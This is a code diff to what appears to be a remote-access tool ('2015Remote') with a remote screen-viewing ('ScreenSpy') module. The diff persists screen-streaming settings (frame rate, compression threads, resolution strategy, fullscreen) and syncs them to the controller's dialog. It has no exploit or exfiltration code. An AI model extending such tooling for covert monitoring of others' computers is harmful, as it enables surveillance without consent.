diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp index b415eeb..a8d2237 100644 --- a/client/ScreenManager.cpp +++ b/client/ScreenManager.cpp @@ -88,6 +88,18 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CMan m_rmouseDown = FALSE; m_rclickPoint = {}; m_rclickWnd = nullptr; + iniFile cfg(CLIENT_PATH); + int m_nMaxFPS = cfg.GetInt("settings", "ScreenMaxFPS", 20); + m_nMaxFPS = max(m_nMaxFPS, 1); + int threadNum = cfg.GetInt("settings", "ScreenCompressThread", 0); + m_ClientObject->SetMultiThreadCompress(threadNum); + + m_ScreenSettings.MaxFPS = m_nMaxFPS; + m_ScreenSettings.CompressThread = threadNum; + m_ScreenSettings.ScreenStrategy = cfg.GetInt("settings", "ScreenStrategy", 0); + m_ScreenSettings.ScreenWidth = cfg.GetInt("settings", "ScreenWidth", 0); + m_ScreenSettings.ScreenHeight = cfg.GetInt("settings", "ScreenHeight", 0); + m_ScreenSettings.FullScreen = cfg.GetInt("settings", "FullScreen", 0); m_hWorkThread = __CreateThread(NULL,0, WorkThreadProc,this,0,NULL); } @@ -380,7 +392,7 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam) ULONG ulNextSendLength = 0; const char* szBuffer = This->GetNextScreen(ulNextSendLength); if (szBuffer) { - s0 = max(s0, 1000./This->m_nMaxFPS); // 最快每秒20帧 + s0 = max(s0, 1000./This->m_ScreenSettings.MaxFPS); // 最快每秒20帧 s0 = min(s0, 1000); int span = s0-(clock() - last); Sleep(span > 0 ? span : 1); @@ -400,7 +412,7 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam) s0 = (s0 >= sleep/4) ? s0/alpha : s0; c2 = 0; #if _DEBUG - if (1000./s0m_nMaxFPS) + if (1000./s0m_ScreenSettings.MaxFPS) Mprintf("[-]SendScreen Span= %dms, s0= %f, fps= %f\n", span, s0, 1000./s0); #endif } @@ -418,9 +430,8 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam) VOID CScreenManager::SendBitMapInfo() { //这里得到bmp结构的大小 - const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER) + 2 * sizeof(uint64_t); - LPBYTE szBuffer = (LPBYTE)VirtualAlloc(NULL, - ulLength, MEM_COMMIT, PAGE_READWRITE); + const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER) + 2 * sizeof(uint64_t) + sizeof(ScreenSettings); + LPBYTE szBuffer = (LPBYTE)VirtualAlloc(NULL, ulLength, MEM_COMMIT, PAGE_READWRITE); if (szBuffer == NULL) return; szBuffer[0] = TOKEN_BITMAPINFO; @@ -428,7 +439,7 @@ VOID CScreenManager::SendBitMapInfo() memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), sizeof(BITMAPINFOHEADER)); memcpy(szBuffer + 1 + sizeof(BITMAPINFOHEADER), &m_conn->clientID, sizeof(uint64_t)); memcpy(szBuffer + 1 + sizeof(BITMAPINFOHEADER) + sizeof(uint64_t), &m_DlgID, sizeof(uint64_t)); - HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); + memcpy(szBuffer + 1 + sizeof(BITMAPINFOHEADER) + 2 * sizeof(uint64_t), &m_ScreenSettings, sizeof(ScreenSettings)); m_ClientObject->Send2Server((char*)szBuffer, ulLength, 0); VirtualFree(szBuffer, 0, MEM_RELEASE); } @@ -512,9 +523,19 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) SwitchScreen(); break; } + case CMD_FULL_SCREEN: { + int fullScreen = szBuffer[1]; + iniFile cfg(CLIENT_PATH); + cfg.SetInt("settings", "FullScreen", fullScreen); + m_ScreenSettings.FullScreen = fullScreen; + break; + } case CMD_MULTITHREAD_COMPRESS: { int threadNum = szBuffer[1]; m_ClientObject->SetMultiThreadCompress(threadNum); + iniFile cfg(CLIENT_PATH); + cfg.SetInt("settings", "ScreenCompressThread", threadNum); + m_ScreenSettings.CompressThread = threadNum; break; } case CMD_SCREEN_SIZE: { @@ -535,11 +556,17 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) default: break; } + m_ScreenSettings.ScreenStrategy = strategy; + m_ScreenSettings.ScreenWidth = width; + m_ScreenSettings.ScreenHeight = height; break; } case CMD_FPS: { - m_nMaxFPS = min(255, unsigned(szBuffer[1])); + int m_nMaxFPS = min(255, unsigned(szBuffer[1])); m_nMaxFPS = max(m_nMaxFPS, 1); + iniFile cfg(CLIENT_PATH); + cfg.SetInt("settings", "ScreenMaxFPS", m_nMaxFPS); + m_ScreenSettings.MaxFPS = m_nMaxFPS; break; } case COMMAND_NEXT: { diff --git a/client/ScreenManager.h b/client/ScreenManager.h index 07a0d8c..4dd19b1 100644 --- a/client/ScreenManager.h +++ b/client/ScreenManager.h @@ -29,6 +29,7 @@ public: CScreenManager(IOCPClient* ClientObject, int n, void* user = nullptr); virtual ~CScreenManager(); HANDLE m_hWorkThread; + ScreenSettings m_ScreenSettings = { 20 }; void InitScreenSpy(); static DWORD WINAPI WorkThreadProc(LPVOID lParam); @@ -76,7 +77,7 @@ public: virtual BOOL OnReconnect(); uint64_t m_DlgID = 0; BOOL m_SendFirst = FALSE; - int m_nMaxFPS = 20; + // 虚拟桌面 BOOL m_virtual; POINT m_point; diff --git a/common/commands.h b/common/commands.h index 6123fb8..e133797 100644 --- a/common/commands.h +++ b/common/commands.h @@ -201,6 +201,7 @@ enum { CMD_COMPRESS_FILES = 72, // 压缩文件 CMD_UNCOMPRESS_FILES = 73, // 解压文件 CMD_SCREEN_SIZE = 74, + CMD_FULL_SCREEN = 75, // 服务端发出的标识 TOKEN_AUTH = 100, // 要求验证 @@ -913,6 +914,16 @@ typedef struct MasterSettings { #define MasterSettingsOldSize 500 +typedef struct ScreenSettings { + int MaxFPS; // 最大帧率 + int CompressThread; // 压缩线程数 + int ScreenStrategy; // 屏幕策略 + int ScreenWidth; // 屏幕宽度 + int ScreenHeight; // 屏幕高度 + int FullScreen; // 全屏模式 + char Reserved[76]; // 保留字段 +} ScreenSettings; + #pragma pack(push, 1) // 100字节: 运行类型 + 大小 + 调用方式 + DLL名称 typedef struct DllExecuteInfo { diff --git a/server/2015Remote/ScreenSpyDlg.cpp b/server/2015Remote/ScreenSpyDlg.cpp index cc6d118..1a07f5c 100644 --- a/server/2015Remote/ScreenSpyDlg.cpp +++ b/server/2015Remote/ScreenSpyDlg.cpp @@ -98,7 +98,6 @@ CScreenSpyDlg::CScreenSpyDlg(CMy2015RemoteDlg* Parent, Server* IOCPServer, CONTE } m_FrameID = 0; ImmDisableIME(0);// 禁用输入法 - m_bFullScreen = FALSE; CHAR szFullPath[MAX_PATH]; GetSystemDirectory(szFullPath, MAX_PATH); @@ -112,6 +111,7 @@ CScreenSpyDlg::CScreenSpyDlg(CMy2015RemoteDlg* Parent, Server* IOCPServer, CONTE const ULONG ulBitmapInforLength = sizeof(BITMAPINFOHEADER); m_BitmapInfor_Full = (BITMAPINFO *) new BYTE[ulBitmapInforLength]; m_ContextObject->InDeCompressedBuffer.CopyBuffer(m_BitmapInfor_Full, ulBitmapInforLength, 1); + m_ContextObject->InDeCompressedBuffer.CopyBuffer(&m_Settings, sizeof(ScreenSettings), 57); m_bIsCtrl = FALSE; m_bIsTraceCursor = FALSE; @@ -271,6 +271,20 @@ BOOL CScreenSpyDlg::OnInitDialog() BOOL all = THIS_CFG.GetInt("settings", "MultiScreen"); SysMenu->EnableMenuItem(IDM_SWITCHSCREEN, all ? MF_ENABLED : MF_GRAYED); + SysMenu->CheckMenuItem(IDM_MULTITHREAD_COMPRESS, m_Settings.CompressThread ? MF_CHECKED : MF_UNCHECKED); + if (m_Settings.ScreenStrategy == 0) { + SysMenu->CheckMenuItem(IDM_SCREEN_1080P, MF_CHECKED); + SysMenu->CheckMenuItem(IDM_ORIGINAL_SIZE, MF_UNCHECKED); + } + else if (m_Settings.ScreenStrategy == 1) { + SysMenu->CheckMenuItem(IDM_SCREEN_1080P, MF_UNCHECKED); + SysMenu->CheckMenuItem(IDM_ORIGINAL_SIZE, MF_CHECKED); + } + int fpsIndex = IDM_FPS_10 + (m_Settings.MaxFPS - 10)/5; + for (int i = IDM_FPS_10; i <= IDM_FPS_UNLIMITED; i++) { + SysMenu->CheckMenuItem(i, MF_UNCHECKED); + } + SysMenu->CheckMenuItem(fpsIndex, MF_CHECKED); } m_bIsCtrl = THIS_CFG.GetInt("settings", "DXGI") == USING_VIRTUAL; @@ -286,7 +300,8 @@ BOOL CScreenSpyDlg::OnInitDialog() SysMenu->CheckMenuItem(IDM_ADAPTIVE_SIZE, m_bAdaptiveSize ? MF_CHECKED : MF_UNCHECKED); SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO)); ShowScrollBar(SB_BOTH, !m_bAdaptiveSize); - + ShowWindow(SW_MAXIMIZE); + m_Settings.FullScreen ? EnterFullScreen() : LeaveFullScreen(); SendNext(); return TRUE; @@ -638,6 +653,8 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam) case IDM_FULLSCREEN: { // 全屏 EnterFullScreen(); SysMenu->CheckMenuItem(IDM_FULLSCREEN, MF_CHECKED); //菜单样式 + BYTE cmd[4] = { CMD_FULL_SCREEN, m_Settings.FullScreen = TRUE }; + m_ContextObject->Send2Client(cmd, sizeof(cmd)); break; } case IDM_SAVEDIB: { // 快照保存 @@ -678,11 +695,12 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam) } case IDM_MULTITHREAD_COMPRESS: { - static int threadNum = 0; + int threadNum = m_Settings.CompressThread; threadNum = 4 - threadNum; BYTE bToken[2] = { CMD_MULTITHREAD_COMPRESS, (BYTE)threadNum }; m_ContextObject->Send2Client(bToken, sizeof(bToken)); SysMenu->CheckMenuItem(nID, threadNum ? MF_CHECKED : MF_UNCHECKED); + m_Settings.CompressThread = threadNum; break; } @@ -690,6 +708,9 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam) const int strategy = 1; BYTE cmd[16] = { CMD_SCREEN_SIZE, (BYTE)strategy }; m_ContextObject->Send2Client(cmd, sizeof(cmd)); + m_Settings.ScreenStrategy = strategy; + SysMenu->CheckMenuItem(IDM_ORIGINAL_SIZE, MF_CHECKED); + SysMenu->CheckMenuItem(IDM_SCREEN_1080P, MF_UNCHECKED); break; } @@ -697,6 +718,9 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam) const int strategy = 0; BYTE cmd[16] = { CMD_SCREEN_SIZE, (BYTE)strategy }; m_ContextObject->Send2Client(cmd, sizeof(cmd)); + m_Settings.ScreenStrategy = strategy; + SysMenu->CheckMenuItem(IDM_SCREEN_1080P, MF_CHECKED); + SysMenu->CheckMenuItem(IDM_ORIGINAL_SIZE, MF_UNCHECKED); break; } @@ -709,6 +733,11 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam) int fps = 10 + (nID - IDM_FPS_10) * 5; BYTE bToken[2] = { CMD_FPS, nID == IDM_FPS_UNLIMITED ? 255 : fps }; m_ContextObject->Send2Client(bToken, sizeof(bToken)); + m_Settings.MaxFPS = nID == IDM_FPS_UNLIMITED ? 255 : fps; + for (int i = IDM_FPS_10; i <= IDM_FPS_UNLIMITED; i++) { + SysMenu->CheckMenuItem(i, MF_UNCHECKED); + } + SysMenu->CheckMenuItem(nID, MF_CHECKED); break; } @@ -762,7 +791,7 @@ void CScreenSpyDlg::OnTimer(UINT_PTR nIDEvent) SetTextColor(m_hFullDC, RGB(0xff, 0x00, 0x00)); TextOut(m_hFullDC, 0, 0, lpTipsString, lstrlen(lpTipsString)); } - if (nIDEvent == 1 && m_bFullScreen && m_pToolbar) { + if (nIDEvent == 1 && m_Settings.FullScreen && m_pToolbar) { m_pToolbar->CheckMousePosition(); } CDialog::OnTimer(nIDEvent); @@ -790,12 +819,14 @@ BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg) case WM_KEYUP: case WM_SYSKEYDOWN: case WM_SYSKEYUP: - if (pMsg->message == WM_KEYDOWN && m_bFullScreen) { + if (pMsg->message == WM_KEYDOWN && m_Settings.FullScreen) { // Ctrl+Alt+Home 退出全屏(备用) if (pMsg->wParam == VK_HOME && (GetKeyState(VK_CONTROL) & 0x8000) && (GetKeyState(VK_MENU) & 0x8000)) { LeaveFullScreen(); + BYTE cmd[4] = { CMD_FULL_SCREEN, m_Settings.FullScreen = FALSE }; + m_ContextObject->Send2Client(cmd, sizeof(cmd)); return TRUE; } } @@ -1016,7 +1047,7 @@ void CScreenSpyDlg::OnVScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar) void CScreenSpyDlg::EnterFullScreen() { - if (!m_bFullScreen) { + if (1) { // 1. 获取鼠标位置 POINT pt; GetCursorPos(&pt); @@ -1053,7 +1084,7 @@ void CScreenSpyDlg::EnterFullScreen() } // 7. 标记全屏模式 - m_bFullScreen = true; + m_Settings.FullScreen = true; SetTimer(1, 50, NULL); } @@ -1062,7 +1093,7 @@ void CScreenSpyDlg::EnterFullScreen() // 全屏退出成功则返回true bool CScreenSpyDlg::LeaveFullScreen() { - if (m_bFullScreen) { + if (1){ KillTimer(1); if (m_pToolbar) { m_pToolbar->DestroyWindow(); @@ -1083,7 +1114,7 @@ bool CScreenSpyDlg::LeaveFullScreen() ShowScrollBar(SB_BOTH, !m_bAdaptiveSize); // 显示水平和垂直滚动条 // 4. 标记退出全屏 - m_bFullScreen = false; + m_Settings.FullScreen = false; CMenu* SysMenu = GetSystemMenu(FALSE); SysMenu->CheckMenuItem(IDM_FULLSCREEN, MF_UNCHECKED); //菜单样式 diff --git a/server/2015Remote/ScreenSpyDlg.h b/server/2015Remote/ScreenSpyDlg.h index 01520d5..1d51048 100644 --- a/server/2015Remote/ScreenSpyDlg.h +++ b/server/2015Remote/ScreenSpyDlg.h @@ -46,6 +46,7 @@ class CScreenSpyDlg : public DialogBase DECLARE_DYNAMIC(CScreenSpyDlg) CToolbarDlg* m_pToolbar = nullptr; CMy2015RemoteDlg* m_pParent = nullptr; + ScreenSettings m_Settings = { 20 }; public: CScreenSpyDlg(CMy2015RemoteDlg* Parent, Server* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL); @@ -89,8 +90,6 @@ public: // 对话框数据 enum { IDD = IDD_DIALOG_SCREEN_SPY }; - BOOL m_bFullScreen; - WINDOWPLACEMENT m_struOldWndpl; AVCodec* m_pCodec; @@ -129,6 +128,8 @@ public: afx_msg LRESULT OnDisconnect(WPARAM wParam, LPARAM lParam); afx_msg void OnExitFullscreen() { + BYTE cmd[4] = { CMD_FULL_SCREEN, m_Settings.FullScreen = FALSE }; + m_ContextObject->Send2Client(cmd, sizeof(cmd)); LeaveFullScreen(); }